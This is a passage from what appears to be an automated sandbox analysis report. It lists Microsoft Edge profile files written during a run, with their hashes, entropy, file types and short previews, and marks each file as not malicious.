}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.0892357457044515
Encrypted:	false
SSDEEP:	6:6OQfUvIq2P923oH+Tcwt8aPrqIFUt8vOQfUvZZmw+vOOkwO923oH+Tcwt8amLJ:6NfUvIv4YebL3FUt8vNfUvZ/+vl5LYeo
MD5:	6DD35250DF8BF16B22F38619F10C4A6B
SHA1:	1D48C10DC1803A1FF1BB11C5AA731B5AD85C72BD
SHA-256:	455B259151BB155686F7605EBB021CB89F54577D9334D0973A86048F5EE2A2F1
SHA-512:	9F87416613389BD67B9CFB4648B16BEB82B577F6751E5A660FAA61AF945EF79964DC894F11EE61135E24F06DB193D2679E5E7FCD16C0201347871E122BDB7C32
Malicious:	false
Preview:	2024/10/30-18:11:30.055 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/30-18:11:30.055 1c10 Recovering log #3.2024/10/30-18:11:30.056 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.0892357457044515
Encrypted:	false
SSDEEP:	6:6OQfUvIq2P923oH+Tcwt8aPrqIFUt8vOQfUvZZmw+vOOkwO923oH+Tcwt8amLJ:6NfUvIv4YebL3FUt8vNfUvZ/+vl5LYeo
MD5:	6DD35250DF8BF16B22F38619F10C4A6B
SHA1:	1D48C10DC1803A1FF1BB11C5AA731B5AD85C72BD
SHA-256:	455B259151BB155686F7605EBB021CB89F54577D9334D0973A86048F5EE2A2F1
SHA-512:	9F87416613389BD67B9CFB4648B16BEB82B577F6751E5A660FAA61AF945EF79964DC894F11EE61135E24F06DB193D2679E5E7FCD16C0201347871E122BDB7C32
Malicious:	false
Preview:	2024/10/30-18:11:30.055 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/30-18:11:30.055 1c10 Recovering log #3.2024/10/30-18:11:30.056 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.082071715525256
Encrypted:	false
SSDEEP:	6:6Bq2P923oH+Tcwt865IFUt8vCqZZmw+vCqzkwO923oH+Tcwt86+ULJ:6Bv4Yeb/WFUt8vP/+vd5LYeb/+SJ
MD5:	C68C8057275830FE6912971A0EC353CC
SHA1:	9827AEBA76A5587746F54BB25E26B26AD796BB79
SHA-256:	F046458D360D30E70B4A606376668CFA689C0FCCEC1921E7965A6391627970C9
SHA-512:	58468934EAC8359C46DC0D8F3F4B0249F4AD2F3AD76E24105BB1C7B52710803EBB2CFBC019417DB51BF0DF6435479BF180E408B598428462264492A329880A4B
Malicious:	false
Preview:	2024/10/30-18:11:30.088 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/30-18:11:30.092 1c10 Recovering log #3.2024/10/30-18:11:30.092 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.082071715525256
Encrypted:	false
SSDEEP:	6:6Bq2P923oH+Tcwt865IFUt8vCqZZmw+vCqzkwO923oH+Tcwt86+ULJ:6Bv4Yeb/WFUt8vP/+vd5LYeb/+SJ
MD5:	C68C8057275830FE6912971A0EC353CC
SHA1:	9827AEBA76A5587746F54BB25E26B26AD796BB79
SHA-256:	F046458D360D30E70B4A606376668CFA689C0FCCEC1921E7965A6391627970C9
SHA-512:	58468934EAC8359C46DC0D8F3F4B0249F4AD2F3AD76E24105BB1C7B52710803EBB2CFBC019417DB51BF0DF6435479BF180E408B598428462264492A329880A4B
Malicious:	false
Preview:	2024/10/30-18:11:30.088 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/30-18:11:30.092 1c10 Recovering log #3.2024/10/30-18:11:30.092 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.083532289691937
Encrypted:	false
SSDEEP:	6:6fdQq2P923oH+Tcwt8NIFUt8vklZmw+vk3kwO923oH+Tcwt8+eLJ:6VQv4YebpFUt8v0/+v05LYebqJ
MD5:	22E1EAD71ACB6BDE868FE7ECDFD7A4B2
SHA1:	134597BAC69D740F5639172C286BA04926937F30
SHA-256:	58162801BB6DC195BB2BF61D52159910753F0179C2140562DC4F3639869D2D2D
SHA-512:	480360DB2BDFB5CCCEA8E69DCF1604F82BC15CF89EC326ED3B784ECC591BC04F0185EAB4D7CF8170BBDD4049260FB7DB461FBB369A374D8843884C297C7584D8
Malicious:	false
Preview:	2024/10/30-18:11:30.772 1a20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/30-18:11:30.773 1a20 Recovering log #3.2024/10/30-18:11:30.773 1a20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.083532289691937
Encrypted:	false
SSDEEP:	6:6fdQq2P923oH+Tcwt8NIFUt8vklZmw+vk3kwO923oH+Tcwt8+eLJ:6VQv4YebpFUt8v0/+v05LYebqJ
MD5:	22E1EAD71ACB6BDE868FE7ECDFD7A4B2
SHA1:	134597BAC69D740F5639172C286BA04926937F30
SHA-256:	58162801BB6DC195BB2BF61D52159910753F0179C2140562DC4F3639869D2D2D
SHA-512:	480360DB2BDFB5CCCEA8E69DCF1604F82BC15CF89EC326ED3B784ECC591BC04F0185EAB4D7CF8170BBDD4049260FB7DB461FBB369A374D8843884C297C7584D8
Malicious:	false
Preview:	2024/10/30-18:11:30.772 1a20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/30-18:11:30.773 1a20 Recovering log #3.2024/10/30-18:11:30.773 1a20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:mgLllntFlljq7A/mhWJFuQ3yy7IOWU1ol/dweytllrE9SFcTp4AGbNCV9RUIM:hlG75fOP4/d0Xi99pEYO
MD5:	B1D0C475405B9062174C528BC0639BFF
SHA1:	D1987252F70B6F62709E03D813B4CF38F05FDFD3
SHA-256:	EEE4ACD53B90275CEE6BBB7CA3EC492579A26DEE190CAEFB661155DA31107313
SHA-512:	E2DECFAD9157516D6BD941276E8A4F5C58123B3C66DFF0EFBB36EA38879BEF4CA2DC6C9CC19790BA0E52191B03829EC27311D2AEFFE750BC6504CF00D58EC472
Malicious:	false
Preview:	..................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6480617605744383
Encrypted:	false
SSDEEP:	384:aj9P0CcAjlB773pLQP/KbtDQkQerWhCgam6ItRKToaAu:ad0KlB7KP/Ae2Wv9RKcC
MD5:	60C00B894E0E0890122CD2302020F5CA
SHA1:	513FA7C54C8ABAE1B5E21DDBAC499E848721D28C
SHA-256:	0F21360E898BB8A5DCC0F143DD3B515FC453AB471221CD95399E104D013FE6C0
SHA-512:	1AEAE6CCD66B192A7615E56B09BA5E1386665ABBFC8CC6FC26C1668ACFE41878C67473691EE0B5A24E71CF05F373D74E3A500A3F098F72238310BC53937F1FE1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.251747187691537
Encrypted:	false
SSDEEP:	12:6JVv4Yeb8rcHEZrELFUt8vJg/+vJI5LYeb8rcHEZrEZSJ:A54Yeb8nZrExg8hzSLYeb8nZrEZe
MD5:	26CD869C9D27927B9D5C2D323644F0B8
SHA1:	BEAB3072DCD0D8A4EF8CB26762365193607FBF3D
SHA-256:	18CC9695A978B789F38E3B17002CAB8841D22C118458A9D7F52C705408F7AB65
SHA-512:	39C5C14BEB888C2E8519C6911DC8CAA15CAA0AC9DBDAFC126745847E9BA56AD77D83276676C1CEDADC43790CF093366B36D990B422285306749FF58D9730D591
Malicious:	false
Preview:	2024/10/30-18:11:33.859 1fe4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/30-18:11:33.860 1fe4 Recovering log #3.2024/10/30-18:11:33.860 1fe4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.251747187691537
Encrypted:	false
SSDEEP:	12:6JVv4Yeb8rcHEZrELFUt8vJg/+vJI5LYeb8rcHEZrEZSJ:A54Yeb8nZrExg8hzSLYeb8nZrEZe
MD5:	26CD869C9D27927B9D5C2D323644F0B8
SHA1:	BEAB3072DCD0D8A4EF8CB26762365193607FBF3D
SHA-256:	18CC9695A978B789F38E3B17002CAB8841D22C118458A9D7F52C705408F7AB65
SHA-512:	39C5C14BEB888C2E8519C6911DC8CAA15CAA0AC9DBDAFC126745847E9BA56AD77D83276676C1CEDADC43790CF093366B36D990B422285306749FF58D9730D591
Malicious:	false
Preview:	2024/10/30-18:11:33.859 1fe4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/30-18:11:33.860 1fe4 Recovering log #3.2024/10/30-18:11:33.860 1fe4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.678960024343852
Encrypted:	false
SSDEEP:	48:GtZ0F3ivhBXZaMV03Sx41HHHxda2LoEDU8D0fV:GteRiv/oiWRxLZa
MD5:	DE279CCE1AEF7311AEC33499D48FA8E3
SHA1:	41D636739960C4E73BDF6FD4667E46D8E715E420
SHA-256:	D89042562BE1C2167450C60577FCC7E3010945BEBE5E5FA39492D0563AEC7E3C
SHA-512:	565C76DE1C275A8CF7C2A7021E5377A332A4449B3EA3DB6EA933682DB6781A94C254E4DD7BFE3E6AD6236E2E2B7F871B97D7E91B4E3712E1A2FC300BC7C700B1
Malicious:	false
Preview:	.:wQ\|................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":750}.!_https://ntp.msn.com..LastKnownPV..1730326301970.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730326303555.._https://ntp.msn.com..MUID!.1C762142180C6CEE0191346A19FD6D49.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730326302055,"schedule":[-1,28,-1,20,36,-1,-1],"scheduleFixed":[-1,28,-1,20,36,-1,-1],"simpleSchedule":[47,20,34,11,16,52,45]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730326301829.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241030.344"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_htt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.130740342493635
Encrypted:	false
SSDEEP:	6:6Rx39+q2P923oH+Tcwt8a2jMGIFUt8vAF3JZmw+vwcH9VkwO923oH+Tcwt8a2jM4:6Rr+v4Yeb8EFUt8vgZ/+vwcdV5LYeb8N
MD5:	8AA297F760FFF25DDAC7633BC558AF12
SHA1:	BB6EB31F9A3053F4B9D186079F05FDA0AF4BA814
SHA-256:	4404FE6FCE21D4A44126FBB1F52850FF477C4AA192991709A2741E7D2FD67272
SHA-512:	BAC635FEF8B0449B4F27689A7D091DC14AD8757CA4F1252CD9871C67FC9A880845EB9D32A0C7BB064FCD77F1931A5CE62C6E5761A55B90A6A3043DF948F92550
Malicious:	false
Preview:	2024/10/30-18:11:30.462 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/30-18:11:30.465 1d2c Recovering log #3.2024/10/30-18:11:30.471 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.130740342493635
Encrypted:	false
SSDEEP:	6:6Rx39+q2P923oH+Tcwt8a2jMGIFUt8vAF3JZmw+vwcH9VkwO923oH+Tcwt8a2jM4:6Rr+v4Yeb8EFUt8vgZ/+vwcdV5LYeb8N
MD5:	8AA297F760FFF25DDAC7633BC558AF12
SHA1:	BB6EB31F9A3053F4B9D186079F05FDA0AF4BA814
SHA-256:	4404FE6FCE21D4A44126FBB1F52850FF477C4AA192991709A2741E7D2FD67272
SHA-512:	BAC635FEF8B0449B4F27689A7D091DC14AD8757CA4F1252CD9871C67FC9A880845EB9D32A0C7BB064FCD77F1931A5CE62C6E5761A55B90A6A3043DF948F92550
Malicious:	false
Preview:	2024/10/30-18:11:30.462 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/30-18:11:30.465 1d2c Recovering log #3.2024/10/30-18:11:30.471 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\248f3f65-8b03-49f7-aa39-3370a730c4ce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4a0eae0e-d030-4d35-95ec-4264219f7262.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4ae54eef-b53c-4bfe-9d79-f53367be85b3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1907
Entropy (8bit):	5.316417311014166
Encrypted:	false
SSDEEP:	48:YcgCzsFAtsFr5fcKsvleeBkBRsICgHvsaCgHU/bxo+:FSASr5EkeBkB/TjTU/Vo+
MD5:	4370BAD11C89F60A97D6843DAF6D25D9
SHA1:	2A7F5B1402D9C5CF1CF03ECB5B45A46FAE26B643
SHA-256:	0776E723020EA643375146E8E87C9DEE11FF2BEF23B6AE51411EFC03EB648A7C
SHA-512:	17608C97E00576A1CE8A54C8ED8C65A078B2F9DFED73EFD84246E02A262FCF373D5BB28136ED6BD72AD92B10A1FD37D6D20F865BA3C3944CDD5CDBA3F77070C2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377391892736928","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377391895328583","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13374893497901656","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7e0ad9ec-d994-4f31-b49e-49ebc97dda7d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.999554319201263
Encrypted:	false
SSDEEP:	192:tToxHrNQmIKyg+L1BdrkHbYXPV+wjmUYO0B/zbl0b:VoVrEgWBdrkkd+cma0B7bl0b
MD5:	0A9303C3427477EE8243872CA66D00E0
SHA1:	49287E1A2BC1499F5A45F96C5CA42CABB7A8980B
SHA-256:	97B77639A051E2228FC5EC656F70264C3F8555A1E6254256B2BDA986445C9108
SHA-512:	5E4810FD4981A502540221FEEE6AF44F644EBCD8E7FC2D3BCB493B1392C6FBB3E7F0B552211F945A3E79D4E17655462F2B5ACC3DF61D72402E9B91F68C6F7DCC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
